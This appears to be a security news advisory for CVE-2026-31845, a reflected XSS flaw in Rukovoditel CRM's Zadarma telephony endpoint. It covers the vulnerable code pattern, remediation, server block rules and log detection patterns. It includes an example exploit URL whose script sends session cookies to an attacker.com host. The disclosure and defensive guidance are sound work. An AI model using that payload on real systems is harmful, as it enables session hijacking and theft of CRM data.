Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsStudyTraining
ProjectsChecklistsAI RankingsNewsletterStatusTagsAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Study
Training
Projects
Checklists
AI Rankings
Newsletter
Status
Tags
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

654+ Articles
118+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-31845: Rukovoditel CRM Reflected XSS in Zadarma API (CVSS 9.3)
CVE-2026-31845: Rukovoditel CRM Reflected XSS in Zadarma API (CVSS 9.3)

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-31845

CVE-2026-31845: Rukovoditel CRM Reflected XSS in Zadarma API (CVSS 9.3)

Rukovoditel CRM versions 3.6.4 and earlier contain a critical reflected XSS vulnerability in the Zadarma telephony API endpoint. The application reflects unsanitized user input from the zd_echo GET parameter directly into HTTP responses, enabling session hijacking and account takeover.

Dylan H.

Security Team

April 11, 2026
6 min read

Affected Products

  • Rukovoditel CRM <= 3.6.4

CVE-2026-31845: Rukovoditel CRM Reflected XSS in Zadarma Telephony API

A critical reflected cross-site scripting (XSS) vulnerability has been disclosed in Rukovoditel CRM, tracked as CVE-2026-31845 with a CVSS v3.1 score of 9.3 (Critical). The vulnerability exists in the Zadarma telephony API endpoint (/api/tel/zadarma.php) in all versions up to and including 3.6.4. The application directly reflects unsanitized input from the zd_echo GET parameter into the HTTP response, enabling script injection attacks.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-31845
CVSS Score9.3 (Critical)
CWE ClassificationCWE-79 — Improper Neutralization of Input During Web Page Generation (Reflected XSS)
Affected SoftwareRukovoditel CRM
Affected Versions3.6.4 and earlier
Vulnerable Endpoint/api/tel/zadarma.php
Vulnerable Parameterzd_echo (GET)
Authentication RequiredNo — unauthenticated endpoint
PublishedApril 11, 2026

Technical Analysis

Vulnerability Root Cause

The /api/tel/zadarma.php endpoint is part of Rukovoditel's integration with the Zadarma VoIP telephony service. It is designed to handle webhooks and callback data from Zadarma's API. The endpoint reads the zd_echo GET parameter and directly echoes its value into the HTTP response body without any encoding or sanitization:

// Simplified vulnerable pattern (conceptual representation)
<?php
// /api/tel/zadarma.php
$echo_value = $_GET['zd_echo'];
// No htmlspecialchars(), no strip_tags(), no input validation
echo $echo_value;
?>

Because the response is returned with a Content-Type: text/html header (or the browser infers HTML rendering), any HTML/JavaScript payload in zd_echo is executed by the victim's browser.

Exploitation

An attacker constructs a URL that targets an authenticated Rukovoditel CRM user:

https://target-crm.example.com/api/tel/zadarma.php?zd_echo=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Attack flow:

1. Attacker crafts a malicious URL containing a JavaScript payload
   in the zd_echo parameter
 
2. Attacker delivers the URL to a CRM user via phishing email,
   internal message, or social engineering
 
3. Victim clicks the link while authenticated to the Rukovoditel CRM
 
4. The browser sends the GET request to /api/tel/zadarma.php
 
5. The server reflects the payload in the HTML response without sanitization
 
6. The victim's browser executes the injected script in the context of the CRM origin
 
7. Attacker can exfiltrate session cookies, perform actions on behalf of the user,
   or redirect to a credential-harvesting page

Why CVSS 9.3 for a Reflected XSS?

Reflected XSS typically scores lower, but the near-critical score here reflects the following factors:

  • Unauthenticated endpoint — no credentials required to trigger the reflection
  • Scope: Changed — successful exploitation affects resources (user sessions, CRM data) beyond the vulnerable endpoint itself
  • Confidentiality/Integrity impact: High — an attacker can exfiltrate all CRM data accessible to the victim and perform any CRM action as the victim
  • Attack Complexity: Low — trivial to craft and deliver a malicious URL
  • No privileges required — attacker requires no account on the target system

Scope of Impact

Rukovoditel CRM is an open-source customer relationship management system widely deployed for project management, customer tracking, and task automation. Organizations using the Zadarma telephony integration are particularly exposed since the vulnerable endpoint is part of that integration.

Potential attack targets include:

  • CRM administrators — full system takeover if an admin account is hijacked
  • Sales and support staff — exfiltration of customer PII, deal records, contact details
  • Automated webhook processors — if the CRM processes the Zadarma webhook via a service account, scheduled processing of a malicious echo value could trigger stored effects

Remediation

Primary Fix: Update Rukovoditel CRM

Update to a patched version of Rukovoditel immediately. Check the official GitHub repository for a patched release:

# Check installed version
cat /path/to/rukovoditel/config/version.php
 
# Update via Git if installed from source
cd /path/to/rukovoditel
git fetch origin
git checkout <patched-tag>

Interim Mitigations

If an immediate update is not possible:

  1. Block access to the vulnerable endpoint at the web server layer:
# Nginx — block /api/tel/zadarma.php from external access
location /api/tel/zadarma.php {
    allow 127.0.0.1;
    # Add trusted Zadarma webhook IP ranges if known
    deny all;
}
# Apache — restrict access
<Location "/api/tel/zadarma.php">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
</Location>
  1. Deploy a Web Application Firewall (WAF) with XSS detection rules to intercept reflected script payloads at the perimeter.

  2. Disable the Zadarma integration in the CRM settings if telephony integration is not in use.

  3. Audit CRM access logs for requests to /api/tel/zadarma.php containing HTML or JavaScript characters (<, >, script, javascript:).


Detection

Identify potential exploitation attempts in web access logs:

# Search access logs for suspicious zd_echo payloads
grep "zadarma.php" /var/log/nginx/access.log | grep -iE "(<script|javascript:|onerror|onload|alert\(|document\.cookie)"
 
# Monitor for base64-encoded XSS payloads (common evasion technique)
grep "zadarma.php" /var/log/nginx/access.log | grep -iE "(base64|eval\(|atob\()"
 
# Count requests to the endpoint to identify scanning activity
awk '/zadarma\.php/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

Impact Assessment

Impact AreaDescription
Session HijackingSession cookies stolen if HttpOnly is not set
Account TakeoverAttacker can perform all CRM actions as the victim
Data ExfiltrationCustomer PII, deal data, contact records accessible via victim's session
Phishing AmplificationMalicious links appear to originate from the CRM domain, increasing trust
Stored Payload RiskIf the reflection is cached or logged by intermediate systems, secondary victims may be affected

Key Takeaways

  1. CVE-2026-31845 is a CVSS 9.3 Critical reflected XSS in Rukovoditel CRM (≤ 3.6.4) via the /api/tel/zadarma.php endpoint
  2. The zd_echo GET parameter is echoed into the HTML response without any sanitization or encoding
  3. No authentication is required — the endpoint is publicly accessible
  4. Patch immediately by updating to a fixed version; restrict the endpoint at the web server layer as an interim measure
  5. Deploy a WAF with XSS rules and audit access logs for exploitation indicators
  6. The high CVSS score reflects the combination of no-auth access, changed scope, and high impact on CRM data confidentiality and integrity

Sources

  • CVE-2026-31845 — NIST NVD
#CVE-2026-31845#Rukovoditel#CRM#XSS#Reflected XSS#NVD#CWE-79

Related Articles

CVE-2015-20118: Stored XSS in RealtyScript 4.0.2 Admin Interface

A stored cross-site scripting vulnerability in RealtyScript 4.0.2 allows attackers to inject malicious JavaScript via the location_name parameter in the...

4 min read

CVE-2026-34621: Adobe Acrobat Reader Prototype Pollution RCE (CVSS 9.6)

Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier are affected by a critical prototype pollution vulnerability (CWE-1321) that can lead to arbitrary code execution when a user opens a malicious PDF.

6 min read

CVE-2026-25776: Movable Type Critical Code Injection (CVSS 9.8)

Six Apart's Movable Type CMS contains a critical code injection vulnerability allowing unauthenticated attackers to execute arbitrary Perl scripts on affected servers, earning a maximum-severity CVSS score of 9.8.

5 min read
Back to all Security Alerts